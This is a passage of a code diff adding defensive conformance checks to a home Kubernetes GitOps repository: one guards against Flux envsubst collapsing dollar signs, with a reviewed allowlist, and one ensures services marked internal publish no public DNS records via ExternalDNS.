+          f"{tag}: context {e['ctx']!r} is {len(e['ctx'])} chars; at least {MIN_CONTEXT} are "
+          f"required so an entry cannot be a near-wildcard that swallows future occurrences")
+    check(DOLLAR_RUN_RE.search(e["ctx"]) is not None
+          and max((len(m.group(0)) for m in DOLLAR_RUN_RE.finditer(e["ctx"])), default=0) >= 2,
+          f"{tag}: context {e['ctx']!r} contains no run of two or more dollars, so it excuses "
+          f"nothing and is either a typo or a decoy")
+    check(len(e["reason"]) >= MIN_REASON,
+          f"{tag}: reason is {len(e['reason'])} chars; at least {MIN_REASON} are required. "
+          f"State what envsubst will actually emit and why that is acceptable — an entry "
+          f"nobody had to explain is an accident wearing an approval")
+
+RUN_TAGS = {
+    "collapse": ("DOLLAR-COLLAPSE",
+                 "envsubst collapses each PAIR of dollars into one, everywhere and "
+                 "unconditionally, so this CANNOT reach the workload verbatim (a literal $$ "
+                 "needs $$$$ in source). This is the 2026-09-13 nextcloud-db shape: a "
+                 "dollar-quoted PL/pgSQL DO block arrived half-quoted and every Flux-"
+                 "reconciled run died. Rewrite without dollars, double them again if the "
+                 "collapse is what you want, or justify it in dollar-collapse.allow"),
+    "half": ("DOLLAR-HALF-ESCAPED",
+             "an ODD run of dollars before a brace is NOT escaped: floor(N/2) literal "
+             "dollars are emitted and the LAST dollar is still live, so this expansion "
+             "EVALUATES at reconcile time (and if its inner is unparseable it fails the "
+             "entire Kustomization). Use an EVEN run to escape, or justify it in "
+             "dollar-collapse.allow if a literal dollar before a substituted value is "
+             "really what you meant"),
+    "over": ("DOLLAR-OVER-ESCAPED",
+             "an EVEN run of four or more dollars emits N/2 literal dollars followed by a "
+             "LITERAL brace — the value is never substituted and extra dollars appear in "
+             "the rendered manifest. Almost always a miscount of the escape; justify it in "
+             "dollar-collapse.allow if it is not"),
+}
+
+run_findings: list[str] = []
+n_runs_ok = 0
+for rel in sorted(subst_files):
+    text = (ROOT / rel).read_text(errors="replace")
+    # Absolute offsets, not per-line: the gitea/nextcloud bootstrap scripts are single
+    # 4000-character folded scalars, so "the line" is not a reviewable unit of context here.
+    nl = [i for i, ch in enumerate(text) if ch == "\n"]
+    spans = []                                       # allowlisted [start, end) regions
+    for e in allow_entries:
+        if e["path"] != rel:
+            continue
+        start = text.find(e["ctx"])
+        while start >= 0:
+            spans.append((start, start + len(e["ctx"]), e))
+            start = text.find(e["ctx"], start + 1)
+    for m in DOLLAR_RUN_RE.finditer(text):
+        n = len(m.group(0))
+        if n < 2:
+            continue
+        braced = text[m.end():m.end() + 1] == "{"
+        if n == 2 and braced:
+            n_runs_ok += 1                           # the documented escape; (1)-(3) own it
+            continue
+        covering = [e for (a, b, e) in spans if a <= m.start() and m.end() <= b]
+        if covering:
+            for e in covering:
+                e["used"] += 1
+            continue
+        kind = "collapse" if not braced else ("half" if n % 2 else "over")
+        tag, fix = RUN_TAGS[kind]
+        lineno = bisect.bisect_right(nl, m.start()) + 1
+        ctx = text[max(0, m.start() - 60):m.end() + 60].replace("\n", "\\n")
+        run_findings.append(
+            f"  [{tag}] {rel}:{lineno}  a run of {n} dollar(s)"
+            f"{' before a brace' if braced else ''}\n"
+            f"        rendered by Flux Kustomization(s) {', '.join(sorted(subst_files[rel]))}"
+            f" — postBuild substitution REWRITES it\n"
+            f"        {fix}\n"
+            f"        | ...{ctx}...")
+
+check(not run_findings,
+      f"{len(run_findings)} dollar run(s) in substituted paths that envsubst rewrites and "
+      f"nothing justifies (the 2026-09-13 nextcloud-db class)")
+
+for e in allow_entries:
+    check(e["used"] > 0,
+          f"dollar-collapse.allow:{e['line']}: STALE — its context is not present in "
+          f"{e['path']} any more (or no longer contains a rewritten dollar run), so the entry "
+          f"now excuses nothing. Delete it. A stale allowlist is how an opt-in decays into a "
+          f"blanket exemption for whatever lands in that file next")
+
 # --------------------------------------------- (5) overlay knobs exist in the base
 # Parse contract: overlays patch cluster-vars with JSON6902 ops (`- op: replace` /
 # `path: /data/KEY`) inside an inline `patch: |-` block. The repo rule (cluster-vars.yaml
@@ -363,6 +634,10 @@ print("Flux postBuild substitution inventory (per Kustomization):")
 for line in inventory:
     print(line)
 print(f"\ncluster-vars knobs defined: {len(KEYS)}   referenced: {len(referenced)}")
+print(f"dollar runs >=2 in substituted files: {n_runs_ok} documented $${{...}} escapes, "
+      f"{sum(e['used'] for e in allow_entries)} justified by dollar-collapse.allow "
+      f"({len(allow_entries)} entr{'y' if len(allow_entries) == 1 else 'ies'}), "
+      f"{len(run_findings)} unjustified")
 
 if ADVISORIES:
     print("\nADVISORIES (not failures):")
@@ -374,6 +649,12 @@ if findings:
     for f in findings:
         print(f, file=sys.stderr)
 
+if run_findings:
+    print("\nHAZARDS — dollar runs envsubst rewrites between git and the container:",
+          file=sys.stderr)
+    for f in run_findings:
+        print(f, file=sys.stderr)
+
 print()
 if not FAILURES:
     print(f"check OK: flux-postbuild-substitution — {CHECKS} assertions "

conformance/tests/l0-static/flux-postbuild-substitution/dollar-collapse.allow

@@ -0,0 +1,52 @@
+# =============================================================================
+# dollar-collapse.allow — the reviewed exceptions to assertion (7) of
+# conformance/tests/l0-static/flux-postbuild-substitution/check.sh.
+#
+# WHY THIS FILE EXISTS
+# --------------------
+# Flux's postBuild substitution runs github.com/fluxcd/pkg/envsubst (Flux's fork of
+# github.com/drone/envsubst; the module path is embedded in the pinned flux 2.4.0
+# binary, and check.sh's header says how to read it back out) over everything a
+# substituted Kustomization renders, and that scanner consumes dollars in PAIRS,
+# emitting ONE dollar per pair — unconditionally, wherever they appear, not only in
+# front of a brace. A run of N dollars becomes floor(N/2) dollars, and an ODD run
+# leaves one live dollar behind (so `$$${X}` is NOT escaped; it expands).
+#
+# Consequence: there is NO way to ship a literal `$$` through a substituted path.
+# On 2026-09-13 that broke the nextcloud-db grant reconciler — a dollar-quoted
+# PL/pgSQL `DO $$ ... $$;` block reached Postgres as `DO $ ... $;` and every
+# Flux-reconciled run died with `syntax error at or near "$"`. It had passed review
+# because it was hand-applied with `kubectl apply`, which runs no envsubst at all.
+# See commit 16b7fcd and check.sh's DOLLAR-RUN ARITHMETIC table (measured against
+# flux 2.4.0, not inferred).
+#
+# From the source text alone, a doubled dollar the author WANTS collapsed and one
+# that must arrive verbatim are indistinguishable. check.sh therefore accepts exactly
+# one shape without comment — a run of EXACTLY TWO dollars immediately followed by
+# `{`, the escape contract clusters/base/apps-vms.yaml already documents and that 18
+# reviewed occurrences already depend on — and FAILS every other run of two or more
+# dollars unless it is named here.
+#
+# ADDING AN ENTRY IS A DECISION, NOT A MUTE BUTTON
+# -----------------------------------------------
+# One entry per line, exactly three `|`-separated fields:
+#
+#     <repo-relative path> | <verbatim context> | <reason>
+#
+#   * the context must be a VERBATIM substring of the file AS STORED IN GIT (for a
+#     folded/JSON-ish scalar that means the escaped bytes, e.g. `\n` and `—`
+#     spelled literally), at least 24 characters long, containing the dollar run it
+#     excuses, and containing no `|` — shift the window if a pipe is in the way;
+#   * the reason must be at least 40 characters and should say what envsubst will
+#     actually EMIT and why that is acceptable;
+#   * an entry covers only the dollar runs inside the region its context matches, so
+#     it can never silently cover a new occurrence that lands elsewhere in the file;
+#   * check.sh FAILS a stale entry — one whose context no longer matches, or which
+#     excuses nothing any more. Delete it rather than leaving it to rot into a
+#     blanket exemption for whatever lands in that file next.
+#
+# If the collapse would change BEHAVIOUR, this file is the wrong answer. Rewrite the
+# content without dollars (16b7fcd) or double them again (`$$$$` -> `$$`).
+# =============================================================================
+apps/wave-0/gitea.yaml | # NOTE the `$$` escape below \u2014 it is load-bearing. apps-wave-0 declares postBuild. | Prose, not code: this is a comment INSIDE the gitea OIDC bootstrap shell script, and the two dollars are the sentence quoting the escape idiom it goes on to explain. envsubst renders it as "the `$` escape below", which is cosmetically wrong and behaviourally inert — a shell comment. Cannot be written correctly at all: `$$$$` would render `$$` but would then be wrong in the source a reader sees in git, and the file has no non-dollar way to name the idiom. Reviewed and accepted as cosmetic.
+apps/wave-1/nextcloud.yaml | # NOTE the `$$` escape below \u2014 it is load-bearing. apps-wave-1 declares postBuild. | Identical case to the gitea entry above, in the nextcloud OIDC bootstrap script: a shell comment quoting the escape idiom, rendered by envsubst as "the `$` escape below". Cosmetic only — the collapse happens inside a `#` comment line that no interpreter reads, and the escaped expansion the comment is describing is on a later line and is unaffected. Reviewed and accepted as cosmetic.

conformance/tests/l0-static/internal-services-publish-no-public-dns/chainsaw-test.yaml

@@ -0,0 +1,136 @@
+# =============================================================================
+# L0 STATIC — no service declared `internal` can produce a PUBLIC DNS record
+# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
+#
+# THE DEFECT THIS CLOSES. docs/09 R-DNS-03 says `internal` services are unreachable from the
+# public internet, that external names resolve to the PUBLIC IP, and that Pi-hole provides the
+# internal split-horizon answers. schemas/renderer-contract.md §exposure says an `internal`
+# service renders "no public DNS record". NOTHING ENFORCED EITHER SENTENCE. ExternalDNS
+# (platform/externaldns/helmrelease.yaml, `sources: [gateway-httproute, service]`,
+# `policy: sync`, provider cloudflare) considered EVERY HTTPRoute on the shared Gateway, so six
+# `exposure: internal` services — jackett, pihole, qbittorrent, radarr, semaphore, sonarr — each
+# published `<name>.home.keithjackson.dev` into the PUBLIC authoritative Cloudflare zone,
+# answering with the Gateway VIP 192.168.2.20. Verified at the authority on 2026-09-14; the
+# pre-state is committed at .standup-dns/dns-20260914-pre-externaldns-scope.txt.
+#
+# Three things were wrong at once, and none of them was visible from inside the cluster:
+#   * the internal subnet, the Gateway VIP and a complete service inventory were publicly
+#     enumerable by anyone who could guess or brute-force a label;
+#   * a public name answering with an RFC1918 address IS a DNS-rebind primitive, which is why the
+#     SOHO router at 192.168.2.1 strips those answers and LAN clients need per-client dnsmasq
+#     overrides to reach their own services;
+#   * the guarantee was only ever prose. `exposure` was the operator's one declaration of intent
+#     and it had NO effect on DNS whatsoever, so "internal" meant nothing an attacker had to
+#     respect.
+#
+# WHY THE FIX NEEDS A GUARD AND NOT JUST A COMMIT. The mechanism is an annotation on a rendered
+# HTTPRoute. An annotation is exactly the kind of thing that survives review by looking harmless
+# and then disappears in a refactor of `_route_meta`, a hand-edit of apps/, or a new service added
+# by copying a public one. Nothing about its ABSENCE is loud: the service keeps working on the LAN,
+# the Kustomization stays Ready, and the only symptom is a public record nobody is looking at. The
+# 2026-09-13 ServiceMonitor incident in this same tree is the precedent — twelve monitors pointed
+# at a port that did not exist for weeks, silently, because the only thing asserting the wiring was
+# prose. This test makes the DNS guarantee a gate condition instead.
+#
+# GIVEN every ServiceDefinition in catalog/ and every HTTPRoute and external-dns-annotated
+#       Service this repo authors,
+# WHEN  each catalog service's rendered routes are resolved in the applied tree (apps/),
+# THEN  (1) every route of an `exposure: internal` service carries ExternalDNS's own controller
+#           annotation set to something OTHER than `dns-controller`, which external-dns v0.21.0
+#           uses to skip the source object outright (source/gateway.go ->
+#           annotations.IsControllerMismatch, checked before any hostname is resolved), so the
+#           route cannot become an endpoint for ANY name it declares;
+#       (2) NO route of an `exposure: public` service carries it — asserted explicitly, because a
+#           renderer that stamped every route would satisfy (1) perfectly while silently
+#           withdrawing the five public services' records, and `policy: sync` would delete them;
+#       (3) the same holds for the `service` source: an internal service's rendered Service may
+#           not carry an external-dns hostname annotation without the disown annotation beside it.
+#           Two sources are configured, so closing only the route half is half a guarantee;
+#       (4) the annotation is DERIVED FROM `exposure` in catalog/render.py and from nothing else —
+#           the emitting function must read `exposure`, must not name any catalog service, and
+#           must not be able to emit external-dns's own `dns-controller` value (the one value that
+#           CLAIMS a route rather than releasing it, inverting the guarantee while looking
+#           plausible). A per-service list is how twelve ServiceMonitors acquired one identical
+#           wrong port name in a single edit;
+#       (5) THE RENDERER IS PROVEN END-TO-END on synthetic ServiceDefinitions, by invoking the
+#           SHIPPED catalog/render.py as a subprocess: an `internal` fixture must yield the
+#           annotation, a `public` fixture must not, and a fixture that OMITS `exposure` must also
+#           yield it (the contract's default posture is `internal`, and omitting the field is the
+#           likeliest way a new service arrives). Without this the check would still pass if the
+#           renderer stopped working and someone hand-maintained apps/;
+#       (6) every HTTPRoute or annotated Service in the tree that the catalog does NOT render is
+#           DECLARED in KNOWN_NON_CATALOG_PUBLISHERS with what it publishes and why it is out of
+#           scope. Those are hand-authored platform/apps manifests with no `exposure` field for a
+#           renderer to read, and they are the seven names that REMAIN publicly advertised with an
+#           RFC1918 answer after this change. The register is shrink-only: an entry that stops
+#           matching a real object FAILS as stale, so the set of unadjudicated publishers cannot
+#           quietly grow, and adding a new one is a review event;
+#   AND (7) the check is LOAD-BEARING: this Test DECLARES `conformance.home.k3s/scope: whole-repo`,
+#           so ci/l0.sh Stage 3b's `--include-scope whole-repo` unions it into EVERY gate run, and
+#           ci/gate.sh blocks the merge when the l0 stage fails. It deliberately adds NO stage to
+#           ci/l0.sh — tests/l0-static/whole-repo-invariants-wired fails the gate if anyone does.
+#
+# WHY SCOPE, NOT REQUIREMENTS: ci/touched-requirements.sh's path map keys apps/* to NOTHING, and
+# apps/ is exactly where the rendered routes live. A requirement-scoped selection would therefore
+# filter this check out of the change most likely to break it — a hand-edit of a rendered route.
+# Same reasoning as its whole-repo siblings.
+#
+# STATUS: EXECUTABLE. `check.sh` is an offline assertion script (PyYAML, as catalog/render.py and
+# the sibling l0-static checks use); conformance/run.sh --layer l0 and ci/l0.sh run it directly,
+# and this Chainsaw Test wraps the SAME script.
+#
+# NOT proven (honest gaps; this is static, and it runs with no cluster and no network):
+#   - That the record is actually GONE from Cloudflare. That is a live read against an external
+#     authority and belongs in L2 beside conformance/tests/l2-behavioral/dns-exposure, which owns
+#     the positive direction (a public name DOES appear). The negative direction was proven
+#     MANUALLY on prod against the deployed v0.21.0 before this landed — a throwaway HTTPRoute
+#     carrying the annotation produced no record at all, and adding the annotation to a route that
+#     already had one produced `action=DELETE` for both its A record and its `a-` TXT registry
+#     entry within one ~60s reconcile — but a manual proof is not a gate.
+#   - That an `internal` name is unreachable from the internet. No DNS record is necessary for
+#     reachability; a port-forward plus a hardcoded IP still reaches the Gateway. This check owns
+#     the NAME axis only. R-NET-04 / the edge port-forward posture owns the other.
+#   - Anything about the seven non-catalog publishers' own correctness. The register records WHAT
+#     each publishes so the claim is reviewable, which is all a static check can offer.
+#   - Anything about the five `public` services' TARGET. They still resolve to the Gateway VIP
+#     rather than a routable address; that is an open operator decision recorded in
+#     platform/externaldns/helmrelease.yaml, and asserting a target here would hard-code a guess.
+#   - It does not read ../home-network-k3s. The spec is read-only (R-TEST-06).
+# =============================================================================
+apiVersion: chainsaw.kyverno.io/v1alpha1
+kind: Test
+metadata:
+  name: internal-services-publish-no-public-dns
+  labels:
+    conformance.home.k3s/R-DNS-02: "true"
+    conformance.home.k3s/R-DNS-03: "true"
+  annotations:
+    conformance.home.k3s/requirements: "R-DNS-02, R-DNS-03"
+    conformance.home.k3s/layer: "L0"
+    # WHOLE-REPO SCOPE — this invariant quantifies over every ServiceDefinition in catalog/, every
+    # HTTPRoute in apps/wave-* and platform/* and runbooks/, and every external-dns-annotated
+    # Service (apps/vms/unifi, platform/crafty). No single requirement path-maps to that set, and
+    # ci/touched-requirements.sh maps apps/* — where the rendered routes live — to no requirement
+    # at all, so a requirement-scoped selection would skip this check on precisely the changes
+    # that can break it.
+    conformance.home.k3s/scope: "whole-repo"
+    conformance.home.k3s/safety-critical: "true"
+    conformance.home.k3s/executable: "true"
+    conformance.home.k3s/intent: >-
+      A service the operator declared `internal` cannot produce a public DNS record: the
+      guarantee is derived from `exposure` by catalog/render.py, present on every rendered route
+      in the applied tree, absent from every public one, proven end-to-end on synthetic fixtures,
+      and the hand-authored manifests the catalog does not render are enumerated in a shrink-only
+      register so the unadjudicated set cannot grow silently.
+spec:
+  steps:
+    - name: assert-no-internal-service-can-publish-a-public-dns-record
+      description: >-
+        Resolve every catalog service's rendered HTTPRoutes in apps/, assert the ExternalDNS
+        disown annotation on every internal one and on no public one, extend the same rule to the
+        `service` source, assert catalog/render.py derives the annotation from `exposure` rather
+        than from a service list, prove the shipped renderer on internal/public/default-posture
+        fixtures, and ratchet the register of hand-authored publishers the catalog does not render.
+      try:
+        - script:
+            content: bash ./check.sh

conformance/tests/l0-static/internal-services-publish-no-public-dns/check.sh

@@ -0,0 +1,458 @@
+#!/usr/bin/env bash
+# =============================================================================
+# L0 STATIC CHECK — no service declared `internal` can produce a PUBLIC DNS record.
+# See chainsaw-test.yaml's header for the full WHY. In one paragraph:
+#
+# docs/09 R-DNS-03 and schemas/renderer-contract.md §exposure both say an `internal` service
+# renders no public DNS record. Nothing enforced it: ExternalDNS watched every HTTPRoute on the
+# shared Gateway, so six internal services published `<name>.home.keithjackson.dev` into the
+# public Cloudflare zone answering with the RFC1918 Gateway VIP (verified at the authority
+# 2026-09-14; pre-state committed at .standup-dns/dns-20260914-pre-externaldns-scope.txt). The fix
+# derives ExternalDNS's controller annotation from `exposure` in catalog/render.py; this check is
+# what keeps it derived, present, and scoped.
+#
+# ASSERTIONS
+#   (0) the inventory is non-empty and the parse contract holds (anti-vacuous-pass);
+#   (1) every rendered route of an `internal` service carries the disown annotation;
+#   (2) NO rendered route of a `public` service carries it — a renderer stamping everything would
+#       satisfy (1) and silently delete the five public records under policy: sync;
+#   (3) the `service` source half: an internal service's Service may not carry an external-dns
+#       hostname annotation without the disown annotation beside it;
+#   (4) catalog/render.py DERIVES the annotation from `exposure` — the emitting function reads that
+#       field, names no catalog service, and cannot emit external-dns's own `dns-controller`;
+#   (5) the SHIPPED renderer is proven end-to-end on synthetic ServiceDefinitions (internal,
+#       public, and `exposure` OMITTED — the contract's default posture is internal);
+#   (6) every HTTPRoute / annotated Service the catalog does NOT render is declared in
+#       KNOWN_NON_CATALOG_PUBLISHERS — shrink-only, stale entries FAIL;
+#   (7) the check is LOAD-BEARING: whole-repo scope declared in chainsaw-test.yaml, honoured by
+#       ci/l0.sh's --include-scope union, and ci/gate.sh blocks on an l0 failure. NO hand-written
+#       ci/l0.sh stage (whole-repo-invariants-wired fails the gate if one appears).
+#
+# WHAT THIS DOES *NOT* PROVE (honest gaps — it is STATIC, offline, cluster-free):
+#   - That the record is gone from Cloudflare. Live read; belongs beside
+#     conformance/tests/l2-behavioral/dns-exposure, which owns the positive direction. The negative
+#     direction was proven manually on prod against the deployed v0.21.0 (a route carrying the
+#     annotation produced no record; adding it to a route that had one produced action=DELETE for
+#     both the A and its `a-` TXT within ~60s) — but a manual proof is not a gate.
+#   - That an internal name is UNREACHABLE. A port-forward plus a literal IP needs no DNS record.
+#     This check owns the NAME axis only.
+#   - Anything about the five public services' TARGET. They still answer with the Gateway VIP; the
+#     routable-target decision is open and recorded in platform/externaldns/helmrelease.yaml.
+#   - It does not read ../home-network-k3s. The spec is read-only (R-TEST-06).
+#
+# Exit 0 = all assertions pass. Exit 1 = a failure. Exit 3 (honest SKIP, which the runner turns
+# into rc 3 = UNWIRED, never green, because this test declares the whole-repo scope) only if
+# catalog/ or apps/ is absent — i.e. the subject tree has vanished, which is not a pass.
+# =============================================================================
+set -euo pipefail
+DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+ROOT="$(cd "${DIR}/../../../.." && pwd)"        # repo root
+PYTHON="${PYTHON:-python3}"
+
+# Honest SKIP (never green for a scope-declaring test) if the subject trees are not there at all.
+if [ ! -d "${ROOT}/catalog" ] || [ ! -d "${ROOT}/apps" ] || [ ! -f "${ROOT}/catalog/render.py" ]; then
+  echo "check SKIPPED: catalog/, apps/ or catalog/render.py absent — nothing to audit" >&2
+  exit 3
+fi
+
+cd "${ROOT}"
+"${PYTHON}" - "${ROOT}" <<'PY'
+"""Static audit: an `internal` ServiceDefinition cannot produce a public DNS record.
+
+PyYAML (the same dependency as catalog/render.py and the sibling l0-static checks) rather than
+line-based parsing: an HTTPRoute's annotations and a ServiceDefinition's exposure are nested
+structures, and a line-based reader of them is precisely the approximate parser that silently
+stops matching — the failure class this check exists to prevent.
+"""
+from __future__ import annotations
+
+import re
+import subprocess
+import sys
+import tempfile
+from pathlib import Path
+
+try:
+    import yaml
+except ImportError:                                  # pragma: no cover
+    print("check FAIL: PyYAML is required (same dependency as catalog/render.py)",
+          file=sys.stderr)
+    raise SystemExit(1)
+
+ROOT = Path(sys.argv[1])
+sys.dont_write_bytecode = True          # keep __pycache__ out of the tracked tree
+
+FAILURES: list[str] = []
+CHECKS = 0
+
+# external-dns's own constants (v0.21.0 source/annotations/annotations.go):
+#   ControllerKey   = annotationPrefix + "controller"   -> the key below
+#   ControllerValue = "dns-controller"                  -> the value that CLAIMS an object
+# source/annotations/processors.go IsControllerMismatch skips a source object when the key is
+# PRESENT and the value is NOT ControllerValue. So "disowned" == key present, value != claimed.
+CONTROLLER_KEY = "external-dns.alpha.kubernetes.io/controller"
+CONTROLLER_CLAIMED = "dns-controller"
+HOSTNAME_KEY = "external-dns.alpha.kubernetes.io/hostname"
+
+
+def check(cond, msg):
+    global CHECKS
+    CHECKS += 1
+    if not cond:
+        FAILURES.append(msg)
+
+
+def read(p: Path) -> str:
+    try:
+        return p.read_text()
+    except (OSError, UnicodeDecodeError):
+        return ""
+
+
+def docs_of(p: Path):
+    """Every YAML document in a file, tolerating the non-manifest files in the tree."""
+    try:
+        return [d for d in yaml.safe_load_all(read(p)) if isinstance(d, dict)]
+    except yaml.YAMLError:
+        return []
+
+
+# =============================================================================================
+# REGISTER — KNOWN_NON_CATALOG_PUBLISHERS. Shrink-only.
+#
+# These are HAND-AUTHORED HTTPRoutes and Services that put a name into the same public Cloudflare
+# zone but that catalog/render.py does not render, so there is no `exposure` field for the renderer
+# to derive anything from and this check cannot adjudicate them. That is a real limit, not a pass —
+# so each one is DECLARED, with the name it publishes and why it is out of this check's scope, and
+# the register can only shrink. An entry naming an object that no longer exists FAILS as stale, so
+# a deleted publisher cannot leave a lie behind; a NEW publisher fails until it is declared, so the
+# unadjudicated set cannot grow without a review event. Same ratchet reasoning as
+# KNOWN_EXTERNAL_MONITORS in servicemonitor-ports-resolve.
+#
+# EVERY ENTRY HERE IS A NAME THAT STILL ANSWERS WITH AN RFC1918 ADDRESS IN A PUBLIC ZONE. That is
+# the honest state after this change, and it is deliberate: converting them is an operator
+# decision per name (is grafana meant to be publicly resolvable at all?), not a renderer change,
+# and a cluster-wide ExternalDNS opt-in filter — the available hardening, see
+# platform/externaldns/helmrelease.yaml — would DELETE all of them at once the moment it is set.
+#
+# Keyed by "<relpath>:<namespace>/<name>".
+# =============================================================================================
+KNOWN_NON_CATALOG_PUBLISHERS: dict[str, str] = {
+    "platform/oauth2-proxy/httproute.yaml:oauth2-proxy/oauth2-proxy":
+        "publishes auth.${BASE_DOMAIN} -> the Gateway VIP. The oauth2-proxy login endpoint is a "
+        "platform component, not a catalog service; it must be reachable by every browser that "
+        "any forward-auth app redirects, so whether it is PUBLICLY resolvable is coupled to "
+        "whether the five public services are — an operator decision, not a renderer one.",
+    "platform/keycloak/httproute.yaml:keycloak/keycloak":
+        "publishes keycloak.${BASE_DOMAIN} -> the Gateway VIP, and it is the route that actually "
+        "OWNS that record (the TXT registry entry reads resource=httproute/keycloak/keycloak, not "
+        "the catalog-rendered keycloak-8080 route, because external-dns merges duplicate "
+        "hostnames and this one won). Keycloak is `exposure: public` in the catalog, so the name "
+        "is meant to be public either way; it is listed because the PUBLISHING object is the "
+        "hand-authored platform route, which carries no exposure field.",
+    "platform/monitoring/grafana-httproute.yaml:monitoring/grafana":
+        "publishes grafana.${BASE_DOMAIN} -> the Gateway VIP. An admin dashboard; almost "
+        "certainly should not be publicly resolvable, but it is not a catalog service and "
+        "withdrawing it is an operator call with the same LAN-resolution prerequisite as the six "
+        "internal services (Pi-hole must answer first).",
+    "platform/headlamp/httproute.yaml:headlamp/headlamp":
+        "publishes headlamp.${BASE_DOMAIN} -> the Gateway VIP. A Kubernetes web UI with native "
+        "Keycloak OIDC; same adjudication as grafana.",
+    "platform/homepage/httproute.yaml:homepage/homepage":
+        "publishes the APEX ${BASE_DOMAIN} itself -> the Gateway VIP, via the https-apex "
+        "listener. The apex is not a per-service name and cannot be withdrawn by an exposure "
+        "declaration.",
+    "runbooks/serving/httproute.yaml:runbooks/runbooks":
+        "declares NO hostnames and inherits the https-apex listener's ${BASE_DOMAIN}, so it "
+        "contributes to the apex record rather than a name of its own (the apex TXT registry "
+        "entry names the homepage route). Deliberately un-authenticated — see the manifest's own "
+        "header for why gating runbooks on Keycloak is a loop with no exit.",
+    "platform/crafty/httproute.yaml:crafty/crafty":
+        "publishes crafty.${BASE_DOMAIN} -> the Gateway VIP (the Minecraft admin UI, gated by an "
+        "oauth2-proxy sidecar). Platform component, no exposure field.",
+    "platform/crafty/service-l4.yaml:crafty/crafty-l4-tcp":
+        "the `service` SOURCE, not a route: publishes crafty-mc.${BASE_DOMAIN} -> "
+        "${CRAFTY_L4_VIP} (192.168.2.22) for the raw Minecraft TCP/UDP game ports the HTTPS "
+        "Gateway cannot express. A game server is the one case where a public name may be "
+        "genuinely wanted; the address it answers with is still RFC1918.",
+    "apps/vms/unifi/50-service-l4.yaml:unifi/unifi-l4-tcp":
+        "the `service` source: publishes unifi.${BASE_DOMAIN} -> ${UNIFI_L4_VIP} "
+        "(192.168.2.21) for the UniFi controller VM's inform/STUN/adoption ports. Hand-authored "
+        "under apps/vms (a VM, not a rendered container service); the catalog's only VM entry is "
+        "vm-demo, which declares no ingressRoutes and publishes nothing.",
+}
+
+# =============================================================================================
+# (0) INVENTORY — the catalog, and every HTTPRoute / annotated Service in the tree.
+# =============================================================================================
+CATALOG = ROOT / "catalog"
+sds: dict[str, dict] = {}
+for p in sorted(CATALOG.glob("*.yaml")):
+    for d in docs_of(p):
+        if "name" in d and "source" in d:
+            sds[d["name"]] = d
+
+check(len(sds) > 0, "inventory: catalog/ yielded no ServiceDefinition — parse contract broken")
+
+# The default posture is `internal` (renderer-contract "Default posture"), so an ABSENT field is
+# internal, never "unclassified". Getting this wrong in the check would be the same bug as in the
+# renderer: a new service that omits exposure would go unaudited.
+exposure_of = {n: (sd.get("exposure") or "internal") for n, sd in sds.items()}
+# (namespace, routename) -> service, for the routes the renderer emits: one per ingressRoute,
+# named "<service>-<port>" in namespace "<service>" (catalog/render.py _route_meta).
+expected_routes: dict[tuple[str, str], str] = {}
+for n, sd in sds.items():
+    for r in sd.get("ingressRoutes") or []:
+        expected_routes[(n, f"{n}-{r['port']}")] = n
+
+internal_with_routes = sorted({s for (_, _), s in expected_routes.items()
+                               if exposure_of[s] == "internal"})
+public_with_routes = sorted({s for (_, _), s in expected_routes.items()
+                             if exposure_of[s] == "public"})
+check(len(internal_with_routes) > 0,
+      "inventory: no `internal` catalog service declares an ingressRoute — the subject set of "
+      "this check is empty, which means either the catalog changed shape or the parse is wrong")
+check(len(public_with_routes) > 0,
+      "inventory: no `public` catalog service declares an ingressRoute — assertion (2) would be "
+      "vacuous, so the parse is presumed wrong rather than the repo")
+
+SCAN_DIRS = ["apps", "platform", "runbooks"]
+routes: list[tuple[str, dict]] = []          # (relpath, HTTPRoute doc)
+dns_services: list[tuple[str, dict]] = []    # (relpath, Service doc carrying an external-dns ann)
+for sub in SCAN_DIRS:
+    base = ROOT / sub
+    if not base.is_dir():
+        continue
+    for p in sorted(base.rglob("*.yaml")):
+        rel = p.relative_to(ROOT).as_posix()
+        for d in docs_of(p):
+            kind = d.get("kind")
+            md = d.get("metadata") or {}
+            ann = md.get("annotations") or {}
+            if kind == "HTTPRoute":
+                routes.append((rel, d))
+            elif kind == "Service" and any(
+                a.startswith("external-dns.alpha.kubernetes.io/") for a in ann
+            ):
+                dns_services.append((rel, d))
+
+check(len(routes) > 0, "inventory: no HTTPRoute found under apps/ platform/ runbooks/ — parse "
+                       "contract broken (the tree is known to author several)")
+
+
+def ident(d: dict) -> tuple[str, str]:
+    md = d.get("metadata") or {}
+    return (md.get("namespace") or "", md.get("name") or "")
+
+
+def annotations_of(d: dict) -> dict:
+    return (d.get("metadata") or {}).get("annotations") or {}
+
+
+def is_disowned(d: dict) -> bool:
+    """True iff external-dns v0.21.0 would SKIP this object: the controller annotation is present
+    and its value is not external-dns's own. Absent == published (the default), which is the whole
+    point — the annotation is the only thing standing between a route and the public zone."""
+    v = annotations_of(d).get(CONTROLLER_KEY)
+    return v is not None and v != CONTROLLER_CLAIMED
+
+
+# =============================================================================================
+# (1) + (2) every internal service's rendered route is disowned; no public one is.
+# =============================================================================================
+by_ident: dict[tuple[str, str], list[tuple[str, dict]]] = {}
+for rel, d in routes:
+    by_ident.setdefault(ident(d), []).append((rel, d))
+
+for (ns, rname), svc in sorted(expected_routes.items()):
+    found = by_ident.get((ns, rname), [])
+    check(len(found) >= 1,
+          f"({svc}) the catalog declares an ingressRoute rendering HTTPRoute {ns}/{rname}, but no "
+          f"such HTTPRoute exists in the applied tree — apps/ is out of sync with catalog/ "
+          f"(ci/render-golden.sh owns the byte-level half of this)")
+    for rel, d in found:
+        if exposure_of[svc] == "internal":
+            v = annotations_of(d).get(CONTROLLER_KEY)
+            check(
+                v is not None,
+                f"({svc}) R-DNS-03 VIOLATED: {rel} HTTPRoute {ns}/{rname} belongs to an "
+                f"`exposure: internal` service but carries NO `{CONTROLLER_KEY}` annotation, so "
+                f"external-dns publishes {ns}.<zone> into the PUBLIC Cloudflare zone answering "
+                f"with the RFC1918 Gateway VIP. An internal service must render no public record.",
+            )
+            check(
+                v != CONTROLLER_CLAIMED,
+                f"({svc}) {rel} HTTPRoute {ns}/{rname} sets `{CONTROLLER_KEY}: "
+                f"{CONTROLLER_CLAIMED}` — that is external-dns's OWN value, which CLAIMS the route "
+                f"rather than releasing it. It reads like the guard and is its exact inverse.",
+            )
+        else:
+            check(
